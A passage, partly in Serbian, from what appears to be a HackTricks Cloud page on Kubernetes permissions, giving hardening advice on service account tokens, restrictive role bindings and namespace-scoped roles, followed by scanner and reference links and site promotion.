automountServiceAccountToken: falsein the configuration of service accounts or pods starting from Kubernetes version 1.6.
Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings
- Selective Inclusion: Uverite se da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno pregledajte i uklanjajte nebitne korisnike kako biste održali strogu bezbednost.
Uloge specifične za namespace umesto uloga na nivou klastera
- Roles vs. ClusterRoles: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje važe na nivou celog klastera. Ovakav pristup daje finiju kontrolu i ograničava obim dozvola.
Koristite automatizovane alate
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
References
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Nauči & vežbaj AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Pogledajte subscription plans!
- Pridružite se 💬 Discord group or the telegram group or pratite nas na Twitter 🐦 @hacktricks_live.
- Podelite hacking tricks slanjem PR-ova na HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

